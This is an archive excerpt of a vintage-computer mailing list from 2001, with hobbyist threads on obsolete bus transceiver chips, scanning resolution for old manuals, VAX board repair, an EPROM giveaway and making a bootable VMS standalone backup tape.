<20010629061229.13683.qmail@web9502.mail.yahoo.com> Message-ID: <3B3E6DF4.1CCDB5FD@pacbell.net> Ethan Dicks wrote: > > --- Michael Davidson wrote: > > > > The 8641 quad bus transceiver is still available, but it appears > > that the 8640, 8881, 8131 and 8837 are all obsolete and out of > > production. > > Right. I think I need a pair of 8837s, in fact, to repair my H-11 > floppy controller. > Well, as luck would have it, I found some 8837's today in the Sunnyvale Frys, so that particular problem is solved for me at least. From cmcmanis at mcmanis.com Sat Jun 30 20:21:19 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:11 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3E6DF4.1CCDB5FD@pacbell.net> References: <20010629061229.13683.qmail@web9502.mail.yahoo.com> Message-ID: <5.0.0.25.2.20010630181941.01f432d0@209.185.79.193> At 05:25 PM 6/30/01 -0700, you wrote: >Well, as luck would have it, I found some 8837's today in the >Sunnyvale Frys, so that particular problem is solved for me at least. No way! You actually found a useful electrical COMPONENT at Fry's?!?!? Wow last time I tried that (1K resistor) they didn't have them and the clerk told me "nobody uses resistors anymore they are being discontinued." :-) I couldn't tell if they mean Fry's was going to stop carrying them or they believed that resistors were no longer relevant to the engineering world. --Chuck From optimus at canit.se Sat Jun 30 18:33:45 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: Message-ID: <668.582T2250T336003optimus@canit.se> Tony Duell skrev: >The Facit 4070 is what _everyone_ used :-). Yes, HP used it for a time >(one of the options for the 98032 is certainly to connect to a 4070, and >it was used with larger machines as well). So did Philips (on the P800 >series). I've got a 3rd party card to link it to the DEC Unibus, and >information on a similar card for Omnibus. Oh, and my Fluke DVM system >has an option card to drive the 4070. Is that a genuine Facit design? I'm surprised to see that Facit ever made anything so high-tech or electronic themselves. While I've seen and used Facit printers and terminals I've always assumed those were OEM designs. -- En ligne avec Thor 2.6a. From optimus at canit.se Sat Jun 30 20:37:17 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: Article quoting (was Re: Whats a reasonable collection?) In-Reply-To: Message-ID: <2204.582T850T1574603optimus@canit.se> R. D. Davis skrev: >On Fri, 29 Jun 2001, Ethan Dicks wrote the following words of wisdom: >> And _my_ preference is to keep things in chronological order and with the >> new comments interspersed for context. Oh, yeah, and with the irrelevant >> stuff *not* quoted. >Agreed. I remember when there was a time when careless, clueless, >bandwidth and time wasters on Usenet were flamed to a crisp for not >doing this. The lines of text that were irrelevant were replaced with >a single "[...]". Also, severe flamage would also result when those >blasted careless, clueless, people would fail to properly quote the >names of those whose words they were replying to. And that certainly is not en vogue at the moment. I've been on this net long enough to know a thing or two about netiquette and standards, and people's personal preferences are null and void in the face of standards. I must have a particularly nasty aura, but that's because most people don't know what the net looked like before the advent of Netscape, AOL or Microsoft. That was most definitely a better net. The aboundance of information and people wasn't the same, but it's mostly a matter of quantity vs quality. >What do you think, do we need to go back to using severe flamage in >order to correct this problem? The flames weren't attempts at being >nasty; they were merely a very fast method of education. :-) It's not the most fashionable amongst teaching methods, but it certainly worked for me. >> Unfortunately, this is the style of yester-year, of 1200-baud UUCP feeds >However. it still works well, and produces messages that make sense. Exactly. And this net isn't large enough for several concurrent standards. >> and old Usenet. None of this is easy to do with MicroSloth products. >Nothing useful is easy to do with Micro$loth products. Exactly, M$ practice does not equal le bon usage. -- En ligne avec Thor 2.6a. "But software which OpenBSD uses and redistributes must be free to all (be they people or companies), for any purpose they wish to use it, including modification, use, peeing on, or even integration into baby mulching machines or atomic bombs to be dropped on Australia." - Theo de Raadt From optimus at canit.se Sat Jun 30 20:42:45 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> Message-ID: <1876.582T2250T1625715optimus@canit.se> Davison, Lee skrev: >> > Scanning printed material much above 150dpi is usually a waste >> > as most printing is done at about 70dpi. >> >> What are you smoking, and is there enough for the rest of us? >> >We're talking old manuals here. Remember? OLD manuals. >> 600 Dpi with resolution enhancement is very old technology >> for laserprinters >> >Nobody, commercially, makes books on laserprinters. Perhaps not commercial books, as in novels or popular textbooks, but I've got quite a lot of manuals produced on ancient laser printers. >> If you can manage it, i would say scan at 600 Dpi. >> >Waste of time, effort and storage space. I must agree here, though. Can't think of many details which wouldn't show up in 300 dpi as well. >> scanning at 1/2 the target printer resolution is probably >> the best you can hope for. >> >Scanning at just over twice the source resolution is the best you >will ever get. More than that's a waste. Agreed, but arguing that just because something is printed using equipment with a low numeric resolution doesn't mean that it should be scanned at the same resolution. There is no way in which the two grids would overlap perfectly, so in order to gain every single dot, you need to scan at a higher resolution than the source was printed at. >---- >This email is intended only for the above named addressee(s). The >information contained in this email may contain information which is >confidential. The views expressed in this email are personal to the sender >and do not in any way reflect the views of the company. > If you have received this email and you are not a named addressee please >delete it from your system and contact Merlin Communications International >IT Department on +44 20 7344 5888. That's a bloody long .sig you've got there. -- En ligne avec Thor 2.6a. A conservative is a worshipper of dead radicals. From optimus at canit.se Sat Jun 30 20:52:04 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: commodore 2500 in Kansas City In-Reply-To: Message-ID: <793.582T200T1723429optimus@canit.se> Jeff Hellige skrev: >>On Fri, 29 Jun 2001, McFadden, Mike wrote: >> >>> Wandering through the computer surplus I came across a commodore 2500 >>> dumped in a box. I can't tell if it's complete. It was unusual >>> enough for me to notice. Does anybody want it? I can make an offer >>> for you and then ship it to you. There was a commodore 2000 manual >>> next to it. >>What the hell is a Commodore 2500? > I would imagine he's referring to an Amiga 2500. And here I thought he was talking about some kind of PET! An A2500 is definitely worth picking up. It's designed for running AMIX, Commodore's SVR4. -- En ligne avec Thor 2.6a. Netiquette: it's not just a good idea, there's actually an RFC about it! For the full details, check out . From ethan_dicks at yahoo.com Sat Jun 30 21:10:58 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:11 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> Message-ID: <20010701021058.27841.qmail@web9501.mail.yahoo.com> --- "Davison, Lee" wrote: > > > > Scanning printed material much above 150dpi is usually a waste > > > as most printing is done at about 70dpi. Printing on a dot-matrix device, perhaps. > > What are you smoking, and is there enough for the rest of us? My reaction exactly. > We're talking old manuals here. Remember? OLD manuals. Last time I checked, the alphabet hadn't changed much. Besides, some of the legends in the drawings are in letters that are very tiny, and there's always the line art itself... scaning at 70dpi would be next to useless. > > 600 Dpi with resolution enhancement is very old technology > > for laserprinters > > > Nobody, commercially, makes books on laserprinters. Excepting my own mother ("Breeches of Silver", which she "typeset" for the Rev. Richard Starling on her 4Mb Mac SE about 15 years ago). She did the photo-readies which were sent to a "real" printer for offset production. But seriously, no... it's not ordinary to make books on a laser printer, partially because the ink technology isn't as stable as what is used in offset presses (reflowed resin, vs. oil-based printing inks). The resolution isn't the primary issue. > > If you can manage it, i would say scan at 600 Dpi. > > > Waste of time, effort and storage space. Hardly. With cheap 80Gb disks and CD burners, storage space really isn't an issue compared with the value of the data. I personally have a couple of boxes of PDP-8 docs. I have been digging around on pdp8.net and so far, have only turned up a couple of docs that I have that aren't up there (and yes, I will be scanning mine at 300dpi if not 600dpi ;-) > > scanning at 1/2 the target printer resolution is probably > > the best you can hope for. > > > Scanning at just over twice the source resolution is the best you > will ever get. More than that's a waste. Information theory suggests that sampling any signal at more than twice its frequency does not result in aquiring any additional content. For pictures, I scan at well over the "standard" web resolution of 72dpi, but I do reduce the scans to approx 72dpi for display on the web (and at much lower for thumbnails). For printing, I have to agree that 300dpi is a good compromise between file size and quality. Trying to read the small print on a DEC maintenance print that has been scanned at 300dpi is nearly impossible. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From Mzthompson at aol.com Sat Jun 30 22:18:29 2001 From: Mzthompson at aol.com (Mzthompson@aol.com) Date: Sun Feb 27 19:05:11 2005 Subject: Eproms Available (was RE: IMSAI EPROMS) Message-ID: <78.16fa1e33.286ff085@aol.com> I fell behind in my reading and was catching up today when I came across Joel A. Weder's posting from 8 Jun 2001 and the responses on Eproms. One of my recent hauls included a box of Eproms. There was around 100 tubes of 2708/2716/2732. A rough count shows around 1000 2708's, and 125 or so each of the 2716's & 2732's. Since I will never need that many, I would like to make them available to the list. For now and to be fair to all list members, I was thinking of dividing them up into 45 (2708 35 ea, 2716 5 ea, 2732 5 ea) to a small box. I'll ask $5 per box to cover shipping and handling. If you really want more than one box, we'll wait and see after those wanting just one box have had their chance and then figure out shipping for 'bulk' orders. Mike Thompson From optimus at canit.se Sat Jun 30 22:40:56 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: Back from the fleamarket In-Reply-To: <20010630150531.53272.qmail@web9506.mail.yahoo.com> Message-ID: <1397.582T2800T2806397optimus@canit.se> Ethan Dicks skrev: >--- Iggy Drougge wrote: >> >> >> Then he had a KA410-A board... a ?VAX 2000 or a VAXstation 2000. >> This card is totally bare, lacking any daughter boards. What a shame. >You'll also want a RAM daughter card, too. There isn't much on board. 2Mb >cards should be easy to find and nearly free. Anything larger than 4Mb will >probably be a bit expensive if sold seperately (my largest is a 4Mb). Define "easy to find". =) I'm contemplating knocking on the door to the company in whose skip Bruno found the boards. >> My friend is experienced... >Hopefully he's experienced at desoldering multi-layer boards. That's >a bit more difficult than two-layer, because the power and ground planes >suck lotsa heat and are difficult to clean out with a hand-operated >solder sucker. He's got a hot air gun. We had a lot of fun with that and some PC motherboards. At least it's cheaper than buying D-sub connectors in the shop. =) -- En ligne avec Thor 2.6a. It's amazing how many useful pieces of equipment are disguised as domestic appliances: the machine for cleaning keyboard keycaps and shell cases does an excellent job of washing clothes, while the tumbling machine for drying them off also works for socks and shirts. The device in the kitchen for baking small spray-painted articles can be used for pizza and muffins. And so on... Pete Turnbull From optimus at canit.se Sat Jun 30 22:44:31 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:11 2005 Subject: Back from the fleamarket In-Reply-To: <20010630150140.34072.qmail@web9504.mail.yahoo.com> Message-ID: <1237.582T1550T2845531optimus@canit.se> Ethan Dicks skrev: >--- Bill Pechter wrote: >> > My friend is experienced. I only wonder if the card will run without that >> > quasi-SCSI chip. >Probably, but no TK50, then, and no possibility to patch the ROMs and >use the SCSI interface as a real SCSI interface (I've been trying to >get back to that project, but stalled when I realized that I don't have >a map of which byte corresponds to which socket). That would of course be nice, but is there such a patch? >> If all he wants is the 5380 -- I recommend using something like >> a MediaVision ProAudio Spectrum Sound Card as the chip donor. >> >> I've got 3 and a Trantor T180 (which I think uses the same chip) >> available to help save a MicroVax. >I have a T128 that gave up a 5380 for a Supra controller (but I did a >nice, clean job and installed a socket for later - it's my only *bootable* >8-bit SCSI card). I'll see if I can sacrifice a Mac on the VAX/Supra altar, but I'm having a hard time justifying the sacrifice of a working machine for a bare-bones (piranha-eaten is a better description =) 0,9 VUP VAX. -- En ligne avec Thor 2.6a. Alle Verallgemeinerungen sind gef?hrlich, sogar diese. --- Alexandre Dumas der ?ltere From cmcmanis at mcmanis.com Sat Jun 30 23:04:46 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:11 2005 Subject: fun with Standalone Backup Message-ID: <5.0.0.25.2.20010630205924.023664a0@209.185.79.193> So a bit of additional 'lore' which is probably obvious to a zillion VMS admins but was news to me. One can create a standalone backup tape that is both bootable into standalone backup, and has the system image on it. I did it as follows: 1) INIT the tape with label SYSTEM 2) @SYS$SYSTEM:STABACKIT Select MUA0 as the device Tell it _not_ to re-initialize. 3) Now boot this tape and at the prompt use BACKUP/IMAGE/VERIFY DUA0: MUA0:MYBACKUP.B/SAVE/LABEL=SYSTEM Now go away for a while :-) Once its done you can boot the tape and restore with BACKUP/IMAGE/VERIFY MUA0:MYBACKUP.B/SAVE/LABEL=SYSTEM DUA0: This saves me from having to change tapes in the process. On an unrelated note, I've got a Dataram MS650 board (MicroVAX III memory) and when it is installed it takes a _longish_ time to past the initialzation tests and standalone backup appears to hang when run. Has anyone seen this? Is this perhaps a bad memory chip that is being constantly repaired by the ECC logic... --Chuck From dittman at dittman.net Sat Jun 30 23:24:01 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:11 2005 Subject: fun with Standalone Backupu In-Reply-To: <5.0.0.25.2.20010630205924.023664a0@209.185.79.193> from "Chuck McManis" at Jun 30, 2001 09:04:46 PM Message-ID: <200107010424.f614O1M24688@narnia.int.dittman.net> > So a bit of additional 'lore' which is probably obvious to a zillion VMS > admins but was news to me. One can create a standalone backup tape that is > both bootable into standalone backup, and has the system image on it. I did > it as follows: > 1) INIT the tape with label SYSTEM > 2) @SYS$SYSTEM:STABACKIT > Select MUA0 as the device > Tell it _not_ to re-initialize. > 3) Now boot this tape and at the prompt use > BACKUP/IMAGE/VERIFY DUA0: MUA0:MYBACKUP.B/SAVE/LABEL=SYSTEM > > Now go away for a while :-) > > Once its done you can boot the tape and restore with > BACKUP/IMAGE/VERIFY MUA0:MYBACKUP.B/SAVE/LABEL=SYSTEM DUA0: > > This saves me from having to change tapes in the process. Yes, this is fairly common. I also like to keep a SA BACKUP set on a couple of my non-system drives. -- Eric Dittman dittman@dittman.net